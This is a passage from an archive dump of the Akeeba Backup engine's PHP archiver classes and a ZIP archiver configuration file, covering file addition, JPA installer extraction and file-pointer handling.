        "description": "COM_AKEEBA_CONFIG_BIGFILETHRESHOLD_DESCRIPTION"
    }
}com_akeeba/BackupEngine/Archiver/Base.php000060400000055415152455305260014310 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Archiver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Base\Exceptions\WarningException;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\FileCloseAware;
use Akeeba\Engine\Util\FileSystem;
use Exception;
use RuntimeException;

/**
 * Abstract parent class of all archiver engines
 */
abstract class Base
{
	use FileCloseAware;

	/** @var   string  The archive's comment. It's currently used ONLY in the ZIP file format */
	protected $_comment;

	/** @var Filesystem Filesystem utilities object */
	protected $fsUtils = null;

	/** @var   resource  JPA transformation source handle */
	private $_xform_fp;

	/** @var   int  The total size of the source JPA file */
	private $totalSourceJPASize = 0;

	/**
	 * Public constructor
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	public function __construct()
	{
		$this->__bootstrap_code();
	}

	/**
	 * Wakeup (unserialization) function
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	public function __wakeup()
	{
		$this->__bootstrap_code();
	}

	/**
	 * Adds a single file in the archive
	 *
	 * @param   string  $file        The absolute path to the file to add
	 * @param   string  $removePath  Path to remove from $file
	 * @param   string  $addPath     Path to prepend to $file
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 */
	public final function addFile($file, $removePath = '', $addPath = '')
	{
		$storedName = $this->addRemovePaths($file, $removePath, $addPath);

		$this->addFileRenamed($file, $storedName);
	}

	/**
	 * Adds a list of files into the archive, removing $removePath from the
	 * file names and adding $addPath to them.
	 *
	 * @param   array   $fileList    A simple string array of filepaths to include
	 * @param   string  $removePath  Paths to remove from the filepaths
	 * @param   string  $addPath     Paths to add in front of the filepaths
	 *
	 * @return  void
	 *
	 * @throws Exception
	 */
	public final function addFileList(&$fileList, $removePath = '', $addPath = '')
	{
		if (!is_array($fileList))
		{
			Factory::getLog()->warning('addFileList called without a file list array');

			return;
		}

		foreach ($fileList as $file)
		{
			$this->addFile($file, $removePath, $addPath);
		}
	}

	/**
	 * Adds a file to the archive, with a name that's different from the source
	 * filename
	 *
	 * @param   string  $sourceFile  Absolute path to the source file
	 * @param   string  $targetFile  Relative filename to store in archive
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 */
	public function addFileRenamed($sourceFile, $targetFile)
	{
		$mb_encoding = '8bit';

		if (function_exists('mb_internal_encoding'))
		{
			$mb_encoding = mb_internal_encoding();
			mb_internal_encoding('ISO-8859-1');
		}

		try
		{
			$this->_addFile(false, $sourceFile, $targetFile);
		}
		catch (WarningException $e)
		{
			Factory::getLog()->warning($e->getMessage());
		}
		finally
		{
			if (function_exists('mb_internal_encoding'))
			{
				mb_internal_encoding($mb_encoding);
			}
		}
	}

	/**
	 * Adds a file to the archive, given the stored name and its contents
	 *
	 * @param   string  $fileName        The base file name
	 * @param   string  $addPath         The relative path to prepend to file name
	 * @param   string  $virtualContent  The contents of the file to be archived
	 *
	 * @return  void
	 */
	public final function addFileVirtual($fileName, $addPath, &$virtualContent)
	{
		$storedName  = $this->addRemovePaths($fileName, '', $addPath);
		$mb_encoding = '8bit';

		if (function_exists('mb_internal_encoding'))
		{
			$mb_encoding = mb_internal_encoding();
			mb_internal_encoding('ISO-8859-1');
		}

		try
		{
			$this->_addFile(true, $virtualContent, $storedName);
		}
		catch (WarningException $e)
		{
			Factory::getLog()->warning($e->getMessage());
		}
		finally
		{
			if (function_exists('mb_internal_encoding'))
			{
				mb_internal_encoding($mb_encoding);
			}
		}
	}

	/**
	 * Adds a file to the archive, given the stored name and its contents
	 *
	 * @param   string  $fileName        The base file name
	 * @param   string  $addPath         The relative path to prepend to file name
	 * @param   string  $virtualContent  The contents of the file to be archived
	 *
	 * @return  void
	 *
	 * @deprecated 7.0.0
	 */
	public final function addVirtualFile($fileName, $addPath, &$virtualContent)
	{
		Factory::getLog()->debug('DEPRECATED: addVirtualFile() has been renamed to addFileVirtual().');

		$this->addFileVirtual($fileName, $addPath, $virtualContent);
	}

	/**
	 * Makes whatever finalization is needed for the archive to be considered
	 * complete and useful (or, generally, clean up)
	 *
	 * @return  void
	 */
	abstract public function finalize();

	/**
	 * Returns a string with the extension (including the dot) of the files produced
	 * by this class.
	 *
	 * @return  string
	 */
	abstract public function getExtension();

	/**
	 * Initialises the archiver class, creating the archive from an existent
	 * installer's JPA archive. MUST BE OVERRIDEN BY CHILDREN CLASSES.
	 *
	 * @param   string  $targetArchivePath  Absolute path to the generated archive
	 * @param   array   $options            A named key array of options (optional)
	 *
	 * @return  void
	 */
	abstract public function initialize($targetArchivePath, $options = []);

	/**
	 * Notifies the engine on the backup comment and converts it to plain text for
	 * inclusion in the archive file, if applicable.
	 *
	 * @param   string  $comment  The archive's comment
	 *
	 * @return  void
	 */
	public function setComment($comment)
	{
		// First, sanitize the comment in a text-only format
		$comment        = str_replace("\n", " ", $comment); // Replace newlines with spaces
		$comment        = str_replace("<br>", "\n", $comment); // Replace HTML4 <br> with single newlines
		$comment        = str_replace("<br/>", "\n", $comment); // Replace HTML4 <br> with single newlines
		$comment        = str_replace("<br />", "\n", $comment); // Replace HTML <br /> with single newlines
		$comment        = str_replace("</p>", "\n\n", $comment); // Replace paragraph endings with double newlines
		$comment        = str_replace("<b>", "*", $comment); // Replace bold with star notation
		$comment        = str_replace("</b>", "*", $comment); // Replace bold with star notation
		$comment        = str_replace("<i>", "_", $comment); // Replace italics with underline notation
		$comment        = str_replace("</i>", "_", $comment); // Replace italics with underline notation
		$this->_comment = strip_tags($comment, '');
	}

	/**
	 * Transforms a JPA archive (containing an installer) to the native archive format
	 * of the class. It actually extracts the source JPA in memory and instructs the
	 * class to include each extracted file.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param   integer  $index   The index in the source JPA archive's list currently in use
	 * @param   integer  $offset  The source JPA archive's offset to use
	 *
	 * @return  array|bool  False if an error occurred, return array otherwise
	 */
	public function transformJPA($index, $offset)
	{
		$xform_source = null;

		// Do we have to open the file?
		if (!$this->_xform_fp)
		{
			// Get the source path
			$registry           = Factory::getConfiguration();
			$embedded_installer = $registry->get('akeeba.advanced.embedded_installer');

			// Fetch the name of the installer image
			$installerDescriptors = Factory::getEngineParamsProvider()->getInstallerList();
			$xform_source         = Platform::getInstance()->get_installer_images_path() .
				'/foobar.jpa'; // We need this as a "safe fallback"

			// Try to find a sane default if we are not given a valid embedded installer
			if (!array_key_exists($embedded_installer, $installerDescriptors))
			{
				$embedded_installer = 'angie';

				if (!array_key_exists($embedded_installer, $installerDescriptors))
				{
					$allInstallers = array_keys($installerDescriptors);

					foreach ($allInstallers as $anInstaller)
					{
						if ($anInstaller == 'none')
						{
							continue;
						}

						$embedded_installer = $anInstaller;
						break;
					}
				}
			}

			if (array_key_exists($embedded_installer, $installerDescriptors))
			{
				$packages  = $installerDescriptors[$embedded_installer]['package'] ?? '';
				$langPacks = $installerDescriptors[$embedded_installer]['language'] ?? '';

				if (empty($packages))
				{
					// No installer package specified. Pretend we are done!
					$retArray = [
						"filename" => '', // File name extracted
						"data"     => '', // File data
						"index"    => 0, // How many source JPA files I have
						"offset"   => 0, // Offset in JPA file
						"skip"     => false, // Skip this?
						"done"     => true, // Are we done yet?
						"filesize" => 0,
					];

					return $retArray;
				}

				$packages                 = explode(',', $packages);
				$langPacks                = explode(',', $langPacks);
				$this->totalSourceJPASize = 0;
				$pathPrefix               = Platform::getInstance()->get_installer_images_path() . '/';

				foreach ($packages as $package)
				{
					$filePath                 = $pathPrefix . $package;
					$this->totalSourceJPASize += (int) @filesize($filePath);
				}

				foreach ($langPacks as $langPack)
				{
					$filePath = $pathPrefix . $langPack;

					if (!is_file($filePath))
					{
						continue;
					}

					$packages[]               = $langPack;
					$this->totalSourceJPASize += (int) @filesize($filePath);
				}

				if (count($packages) < $index)
				{
					throw new RuntimeException(__CLASS__ . ":: Installer package index $index not found for embedded installer $embedded_installer");
				}

				$package = $packages[$index];

				// A package is specified, use it!
				$xform_source = $pathPrefix . $package;
			}

			// 2.3: Try to use sane default if the indicated installer doesn't exist
			if (!is_null($xform_source) && !file_exists($xform_source) && (basename($xform_source) != 'angie.jpa'))
			{
				throw new RuntimeException(__CLASS__ . ":: Installer package $xform_source of embedded installer $embedded_installer not found. Please go to the configuration page, select an Embedded Installer, save the configuration and try backing up again.");
			}

			// Try opening the file
			if (!is_null($xform_source) && file_exists($xform_source))
			{
				$this->_xform_fp = @fopen($xform_source, 'r');

				if ($this->_xform_fp === false)
				{
					throw new RuntimeException(__CLASS__ . ":: Can't seed archive with installer package " . $xform_source);
				}
			}
			else
			{
				throw new RuntimeException(__CLASS__ . ":: Installer package " . $xform_source . " does not exist!");
			}
		}

		$headerDataLength = 0;

		if (!$offset)
		{
			// First run detected!
			Factory::getLog()->debug('Initializing with JPA package ' . $xform_source);

			// Skip over the header and check no problem exists
			$offset = $this->_xformReadHeader();

			if ($offset === false)
			{
				throw new RuntimeException('JPA package file was not read');
			}

			$headerDataLength = $offset;
		}

		$ret = $this->_xformExtract($offset);

		$ret['index'] = $index;

		if (is_array($ret))
		{
			$ret['chunkProcessed'] = $headerDataLength + $ret['offset'] - $offset;
			$offset                = $ret['offset'];

			if (!$ret['skip'] && !$ret['done'])
			{
				Factory::getLog()->debug('  Adding ' . $ret['filename'] . '; Next offset:' . $offset);

				$this->addFileVirtual($ret['filename'], '', $ret['data']);
			}
			elseif ($ret['done'])
			{
				$registry             = Factory::getConfiguration();
				$embedded_installer   = $registry->get('akeeba.advanced.embedded_installer');
				$installerDescriptors = Factory::getEngineParamsProvider()->getInstallerList();
				$packages             = $installerDescriptors[$embedded_installer]['package'];
				$packages             = explode(',', $packages);
				$pathPrefix           = Platform::getInstance()->get_installer_images_path() . '/';
				$langPacks            = $installerDescriptors[$embedded_installer]['language'];
				$langPacks            = explode(',', $langPacks);

				foreach ($langPacks as $langPack)
				{
					$filePath = $pathPrefix . $langPack;

					if (!is_file($filePath))
					{
						continue;
					}

					$packages[] = $langPack;
				}

				Factory::getLog()->debug('  Done with package ' . $packages[$index]);

				if (count($packages) > ($index + 1))
				{
					$ret['done']     = false;
					$ret['index']    = $index + 1;
					$ret['offset']   = 0;
					$this->_xform_fp = null;
				}
				else
				{
					Factory::getLog()->debug('  Done with installer seeding.');
				}
			}
			else
			{
				$reason = '  Skipping ' . $ret['filename'];
				Factory::getLog()->debug($reason);
			}
		}
		else
		{
			throw new RuntimeException('JPA extraction returned FALSE. The installer image is corrupt.');
		}

		if ($ret['done'])
		{
			// We are finished! Close the file
			$this->conditionalFileClose($this->_xform_fp);
			Factory::getLog()->debug('Initializing with JPA package has finished');
		}

		$ret['filesize'] = $this->totalSourceJPASize;

		return $ret;
	}

	/**
	 * Common code which gets called on instance creation or wake-up (unserialization)
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	protected function __bootstrap_code()
	{
		$this->fsUtils = Factory::getFilesystemTools();
	}

	/**
	 * The most basic file transaction: add a single entry (file or directory) to
	 * the archive.
	 *
	 * @param   boolean  $isVirtual         If true, the next parameter contains file data instead of a file name
	 * @param   string   $sourceNameOrData  Absolute file name to read data from or the file data itself is $isVirtual
	 *                                      is true
	 * @param   string   $targetName        The (relative) file name under which to store the file in the archive
	 *
	 * @return  boolean  True on success, false otherwise. DEPRECATED: Use exceptions instead.
	 *
	 * @throws  WarningException  When there's a warning (the backup integrity is NOT compromised)
	 * @throws  ErrorException    When there's an error (the backup integrity is compromised – backup dead)
	 */
	abstract protected function _addFile($isVirtual, &$sourceNameOrData, $targetName);

	/**
	 * This function indicates if the path $p_path is under the $p_dir tree. Or,
	 * said in an other way, if the file or sub-dir $p_path is inside the dir
	 * $p_dir.
	 * The function indicates also if the path is exactly the same as the dir.
	 * This function supports path with duplicated '/' like '//', but does not
	 * support '.' or '..' statements.
	 *
	 * Copied verbatim from pclZip library
	 *
	 * @codeCoverageIgnore
	 *
	 * @param   string  $p_dir   Source tree
	 * @param   string  $p_path  Check if this is part of $p_dir
	 *
	 * @return  integer   0 if $p_path is not inside directory $p_dir,
	 *                    1 if $p_path is inside directory $p_dir
	 *                    2 if $p_path is exactly the same as $p_dir
	 */
	private function _PathInclusion($p_dir, $p_path)
	{
		$v_result = 1;

		// ----- Explode dir and path by directory separator
		$v_list_dir       = explode("/", $p_dir);
		$v_list_dir_size  = count($v_list_dir);
		$v_list_path      = explode("/", $p_path);
		$v_list_path_size = count($v_list_path);

		// ----- Study directories paths
		$i = 0;
		$j = 0;

		while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result))
		{
			// ----- Look for empty dir (path reduction)
			if ($v_list_dir[$i] == '')
			{
				$i++;

				continue;
			}

			if ($v_list_path[$j] == '')
			{
				$j++;

				continue;
			}

			// ----- Compare the items
			if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ($v_list_path[$j] != ''))
			{
				$v_result = 0;
			}

			// ----- Next items
			$i++;
			$j++;
		}

		// ----- Look if everything seems to be the same
		if ($v_result)
		{
			// ----- Skip all the empty items
			while (($j < $v_list_path_size) && ($v_list_path[$j] == ''))
			{
				$j++;
			}

			while (($i < $v_list_dir_size) && ($v_list_dir[$i] == ''))
			{
				$i++;
			}

			if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size))
			{
				// ----- There are exactly the same
				$v_result = 2;
			}
			else if ($i < $v_list_dir_size)
			{
				// ----- The path is shorter than the dir
				$v_result = 0;
			}
		}

		// ----- Return
		return $v_result;
	}

	/**
	 * Extracts a file from the JPA archive and returns an in-memory array containing it
	 * and its file data. The data returned is an array, consisting of the following keys:
	 * "filename" => relative file path stored in the archive
	 * "data"     => file data
	 * "offset"   => next offset to use
	 * "skip"     => if this is not a file, just skip it...
	 * "done"     => No more files left in archive
	 *
	 * @codeCoverageIgnore
	 *
	 * @param   integer  $offset  The absolute data offset from archive's header
	 *
	 * @return  array|bool  See description for more information
	 */
	private function &_xformExtract($offset)
	{
		$false = false; // Used to return false values in case an error occurs

		// Generate a return array
		$retArray = [
			"filename" => '', // File name extracted
			"data"     => '', // File data
			"offset"   => 0, // Offset in ZIP file
			"skip"     => false, // Skip this?
			"done"     => false // Are we done yet?
		];

		// If we can't open the file, return an error condition
		if ($this->_xform_fp === false)
		{
			return $false;
		}

		// Go to the offset specified
		if (!fseek($this->_xform_fp, $offset) == 0)
		{
			return $false;
		}

		// Get and decode Entity Description Block
		$signature = fread($this->_xform_fp, 3);

		// Check signature
		if ($signature == 'JPF')
		{
			// This a JPA Entity Block. Process the header.

			// Read length of EDB and of the Entity Path Data
			$length_array = unpack('vblocksize/vpathsize', fread($this->_xform_fp, 4));
			// Read the path data
			$file = fread($this->_xform_fp, $length_array['pathsize']);
			// Read and parse the known data portion
			$bin_data    = fread($this->_xform_fp, 14);
			$header_data = unpack('Ctype/Ccompression/Vcompsize/Vuncompsize/Vperms', $bin_data);
			// Read any unknwon data
			$restBytes = $length_array['blocksize'] - (21 + $length_array['pathsize']);

			if ($restBytes > 0)
			{
				$junk = fread($this->_xform_fp, $restBytes);
			}

			$compressionType = $header_data['compression'];

			// Populate the return array
			$retArray['filename'] = $file;
			$retArray['skip']     = ($header_data['compsize'] == 0); // Skip over directories

			switch ($header_data['type'])
			{
				case 0:
					// directory
					break;

				case 1:
					// file
					switch ($compressionType)
					{
						case 0: // No compression
							if ($header_data['compsize'] > 0) // 0 byte files do not have data to be read
							{
								$retArray['data'] = fread($this->_xform_fp, $header_data['compsize']);
							}
							break;

						case 1: // GZip compression
							$zipData          = fread($this->_xform_fp, $header_data['compsize']);
							$retArray['data'] = gzinflate($zipData);
							break;

						case 2: // BZip2 compression
							$zipData          = fread($this->_xform_fp, $header_data['compsize']);
							$retArray['data'] = bzdecompress($zipData);
							break;
					}
					break;
			}
		}
		else
		{
			// This is not a file header. This means we are done.
			$retArray['done'] = true;
		}

		$retArray['offset'] = ftell($this->_xform_fp);

		return $retArray;
	}

	/**
	 * Skips over the JPA header entry and returns the offset file data starts from
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  boolean|integer  False on failure, offset otherwise
	 */
	private function _xformReadHeader()
	{
		// Fail for unreadable files
		if ($this->_xform_fp === false)
		{
			return false;
		}

		// Go to the beggining of the file
		rewind($this->_xform_fp);

		// Read the signature
		$sig = fread($this->_xform_fp, 3);

		// Not a JPA Archive?
		if ($sig != 'JPA')
		{
			return false;
		}

		// Read and parse header length
		$header_length_array = unpack('v', fread($this->_xform_fp, 2));
		$header_length       = $header_length_array[1];

		// Read and parse the known portion of header data (14 bytes)
		$bin_data    = fread($this->_xform_fp, 14);
		$header_data = unpack('Cmajor/Cminor/Vcount/Vuncsize/Vcsize', $bin_data);

		// Load any remaining header data (forward compatibility)
		$rest_length = $header_length - 19;

		if ($rest_length > 0)
		{
			$junk = fread($this->_xform_fp, $rest_length);
		}

		return ftell($this->_xform_fp);
	}

	/**
	 * Removes the $p_remove_dir from $p_filename, while prepending it with $p_add_dir.
	 * Largely based on code from the pclZip library.
	 *
	 * @param   string  $p_filename    The absolute file name to treat
	 * @param   string  $p_remove_dir  The path to remove
	 * @param   string  $p_add_dir     The path to prefix the treated file name with
	 *
	 * @return  string  The treated file name
	 */
	private function addRemovePaths($p_filename, $p_remove_dir, $p_add_dir)
	{
		$p_filename   = $this->fsUtils->TranslateWinPath($p_filename);
		$p_remove_dir = ($p_remove_dir == '') ? '' :
			$this->fsUtils->TranslateWinPath($p_remove_dir); //should fix corrupt backups, fix by nicholas

		$v_stored_filename = $p_filename;

		if (!($p_remove_dir == ""))
		{
			if (substr($p_remove_dir, -1) != '/')
			{
				$p_remove_dir .= "/";
			}

			if ((substr($p_filename, 0, 2) == "./") || (substr($p_remove_dir, 0, 2) == "./"))
			{
				if ((substr($p_filename, 0, 2) == "./") && (substr($p_remove_dir, 0, 2) != "./"))
				{
					$p_remove_dir = "./" . $p_remove_dir;
				}

				if ((substr($p_filename, 0, 2) != "./") && (substr($p_remove_dir, 0, 2) == "./"))
				{
					$p_remove_dir = substr($p_remove_dir, 2);
				}
			}

			$v_compare = $this->_PathInclusion($p_remove_dir, $p_filename);

			if ($v_compare > 0)
			{
				if ($v_compare == 2)
				{
					$v_stored_filename = "";
				}
				else
				{
					$v_stored_filename =
						substr($p_filename, (function_exists('mb_strlen') ? mb_strlen($p_remove_dir, '8bit') :
							strlen($p_remove_dir)));
				}
			}
		}
		else
		{
			$v_stored_filename = $p_filename;
		}

		if (!($p_add_dir == ""))
		{
			if (substr($p_add_dir, -1) == "/")
			{
				$v_stored_filename = $p_add_dir . $v_stored_filename;
			}
			else
			{
				$v_stored_filename = $p_add_dir . "/" . $v_stored_filename;
			}
		}

		return $v_stored_filename;
	}
}
com_akeeba/BackupEngine/Archiver/zip.json000060400000005001152455305260014404 0ustar00{
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_ZIP_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_ZIP_DESCRIPTION"
    },
    "engine.archiver.common.dereference_symlinks": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DEREFERENCESYMLINKS_TITLE",
        "description": "COM_AKEEBA_CONFIG_DEREFERENCESYMLINKS_DESCRIPTION"
    },
    "engine.archiver.common.part_size": {
        "default": "0",
        "type": "integer",
        "min": "0",
        "max": "2147483648",
        "shortcuts": "0|131072|262144|524288|1048576|2097152|5242880|10485760|20971520|52428800|104857600|268435456|536870912|1073741824|1610612736|2097152000",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_PARTSIZE_TITLE",
        "description": "COM_AKEEBA_CONFIG_PARTSIZE_DESCRIPTION"
    },
    "engine.archiver.common.chunk_size": {
        "default": "1048576",
        "type": "integer",
        "min": "65536",
        "max": "10485760",
        "shortcuts": "65536|131072|262144|524288|1048576|2097152|5242880|10485760",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_CHUNKSIZE_TITLE",
        "description": "COM_AKEEBA_CONFIG_CHUNKSIZE_DESCRIPTION"
    },
    "engine.archiver.common.permissions": {
        "default": "0666",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_PERMISSIONS_0600|COM_AKEEBA_CONFIG_PERMISSIONS_0644|COM_AKEEBA_CONFIG_PERMISSIONS_0666",
        "enumvalues": "0600|0644|0666",
        "title": "COM_AKEEBA_CONFIG_PERMISSIONS_TITLE",
        "description": "COM_AKEEBA_CONFIG_PERMISSIONS_DESCRIPTION"
    },
    "engine.archiver.common.big_file_threshold": {
        "default": "1048576",
        "type": "integer",
        "min": "65536",
        "max": "10485760",
        "shortcuts": "65536|131072|262144|524288|1048576|2097152|5242880|10485760",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_BIGFILETHRESHOLD_TITLE",
        "description": "COM_AKEEBA_CONFIG_BIGFILETHRESHOLD_DESCRIPTION"
    },
    "engine.archiver.zip.cd_glue_chunk_size": {
        "default": "1048576",
        "type": "integer",
        "min": "65536",
        "max": "10485760",
        "shortcuts": "65536|131072|262144|524288|1048576|2097152|5242880|10485760",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_ZIPCDGLUECHUNKSIZE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ZIPCDGLUECHUNKSIZE_DESCRIPTION"
    }
}com_akeeba/BackupEngine/Archiver/BaseFileManagement.php000060400000014613152455305260017100 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Archiver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Factory;

if (!function_exists('akstrlen'))
{
	/**
	 * Attempt to use mbstring for calculating the binary string length.
	 *
	 * @param $string
	 *
	 * @return int
	 */
	function akstrlen($string)
	{
		return function_exists('mb_strlen') ? mb_strlen($string, '8bit') : strlen($string);
	}
}

/**
 * Abstract class for an archiver using managed file pointers
 */
abstract class BaseFileManagement extends Base
{
	/** @var resource File pointer to the archive's central directory file (for ZIP) */
	protected $cdfp = null;

	/** @var resource File pointer to the archive being currently written to */
	protected $fp = null;

	/** @var   array  An array of the last open files for writing and their last written to offsets */
	private $fileOffsets = [];

	/** @var   array  An array of open file pointers */
	private $filePointers = [];

	/** @var   null|string  The last filename fwrite() wrote to */
	private $lastFileName = null;

	/** @var   null|resource  The last file pointer fwrite() wrote to */
	private $lastFilePointer = null;

	/**
	 * Release file pointers when the object is being destroyed
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	public function __destruct()
	{
		$this->_closeAllFiles();

		$this->fp   = null;
		$this->cdfp = null;
	}

	/**
	 * Release file pointers when the object is being serialized
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	public function _onSerialize()
	{
		$this->_closeAllFiles();

		$this->fp   = null;
		$this->cdfp = null;
	}

	/**
	 * Closes all open files known to this archiver object
	 *
	 * @return  void
	 */
	protected function _closeAllFiles()
	{
		if (!empty($this->filePointers))
		{
			foreach ($this->filePointers as $file => $fp)
			{
				$this->conditionalFileClose($fp);

				unset($this->filePointers[$file]);
			}
		}
	}

	/**
	 * Closes an already open file
	 *
	 * @param   resource  $fp  The file pointer to close
	 *
	 * @return  boolean
	 */
	protected function fclose(&$fp)
	{
		$result = true;

		$offset = array_search($fp, $this->filePointers, true);

		if (!is_null($fp) && is_resource($fp))
		{
			$result = $this->conditionalFileClose($fp);
		}

		if ($offset !== false)
		{
			unset($this->filePointers[$offset]);
		}

		$fp = null;

		return $result;
	}

	protected function fcloseByName($file)
	{
		if (!array_key_exists($file, $this->filePointers))
		{
			return true;
		}

		$ret = $this->fclose($this->filePointers[$file]);

		if (array_key_exists($file, $this->filePointers))
		{
			unset($this->filePointers[$file]);
		}

		return $ret;
	}

	/**
	 * Opens a file, if it's not already open, or returns its cached file pointer if it's already open
	 *
	 * @param   string  $file  The filename to open
	 * @param   string  $mode  File open mode, defaults to binary write
	 *
	 * @return  resource
	 */
	protected function fopen($file, $mode = 'w')
	{
		if (!array_key_exists($file, $this->filePointers))
		{
			//Factory::getLog()->debug("Opening backup archive $file with mode $mode");
			$this->filePointers[$file] = @fopen($file, $mode);

			// If we open a file for append we have to seek to the correct offset
			if (substr($mode, 0, 1) == 'a')
			{
				if (isset($this->fileOffsets[$file]))
				{
					Factory::getLog()->debug("Truncating backup archive file $file to " . $this->fileOffsets[$file] . " bytes");
					@ftruncate($this->filePointers[$file], $this->fileOffsets[$file]);
				}

				fseek($this->filePointers[$file], 0, SEEK_END);
			}
		}

		return $this->filePointers[$file];
	}

	/**
	 * Write to file, defeating magic_quotes_runtime settings (pure binary write)
	 *
	 * @param   resource  $fp     Handle to a file
	 * @param   string    $data   The data to write to the file
	 * @param   integer   $p_len  Maximum length of data to write
	 *
	 * @return  int  The number of bytes written
	 *
	 * @throws  ErrorException  When writing to the file is not possible
	 */
	protected function fwrite($fp, $data, $p_len = null)
	{
		if ($fp !== $this->lastFilePointer)
		{
			$this->lastFilePointer = $fp;
			$this->lastFileName    = array_search($fp, $this->filePointers, true);
		}

		$len = is_null($p_len) ? (akstrlen($data)) : $p_len;
		$ret = fwrite($fp, $data, $len);

		if (($ret === false) || (abs(($ret - $len)) >= 1))
		{
			// Log debug information about the archive file's existence and current size. This helps us figure out if
			// there is a server-imposed maximum file size limit.
			clearstatcache();
			$fileExists  = @file_exists($this->lastFileName) ? 'exists' : 'does NOT exist';
			$currentSize = @filesize($this->lastFileName);

			Factory::getLog()->debug(sprintf("%s::_fwrite() ERROR!! Cannot write to archive file %s. The file %s. File size %s bytes after writing %s of %d bytes. Please check the output directory permissions and make sure you have enough disk space available. If this does not help, please set up a Part Size for Split Archives LOWER than this size and retry backing up.", __CLASS__, $this->lastFileName, $fileExists, $currentSize, $ret, $len));

			throw new ErrorException(sprintf("Couldn\'t write to the archive file; check the output directory permissions and make sure you have enough disk space available. [len=%s / %s]", $ret, $len));
		}

		if ($this->lastFileName !== false)
		{
			$this->fileOffsets[$this->lastFileName] = @ftell($fp);
		}

		return $ret;
	}

	/**
	 * Removes a file path from the list of resumable offsets
	 *
	 * @param $filename
	 */
	protected function removeFromOffsetsList($filename)
	{
		if (isset($this->fileOffsets[$filename]))
		{
			unset($this->fileOffsets[$filename]);
		}
	}

}
com_akeeba/BackupEngine/Archiver/Zip.php000060400000102762152455305260014176 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Archiver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Base\Exceptions\WarningException;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Util\CRC32;
use RuntimeException;

class Zip extends BaseArchiver
{
	/** @var string Beginning of central directory record. */
	private $centralDirectoryRecordStartSignature = "\x50\x4b\x01\x02";

	/** @var string End of central directory record. */
	private $centralDirectoryRecordEndSignature = "\x50\x4b\x05\x06";

	/** @var string Beginning of file contents. */
	private $fileHeaderSignature = "\x50\x4b\x03\x04";

	/** @var string The name of the temporary file holding the ZIP's Central Directory */
	private $centralDirectoryFilename;

	/** @var integer The total number of files and directories stored in the ZIP archive */
	private $totalFilesCount;

	/** @var integer The total size of data in the archive. Note: On 32-bit versions of PHP, this will overflow for archives over 2Gb! */
	private $totalCompressedSize = 0;

	/** @var integer The chunk size for CRC32 calculations */
	private $AkeebaPackerZIP_CHUNK_SIZE;

	/** @var int Current part file number */
	private $currentPartNumber = 1;

	/** @var int Total number of part files */
	private $totalParts = 1;

	/**
	 * Class constructor - initializes internal operating parameters
	 *
	 * @return  void
	 */
	public function __construct()
	{
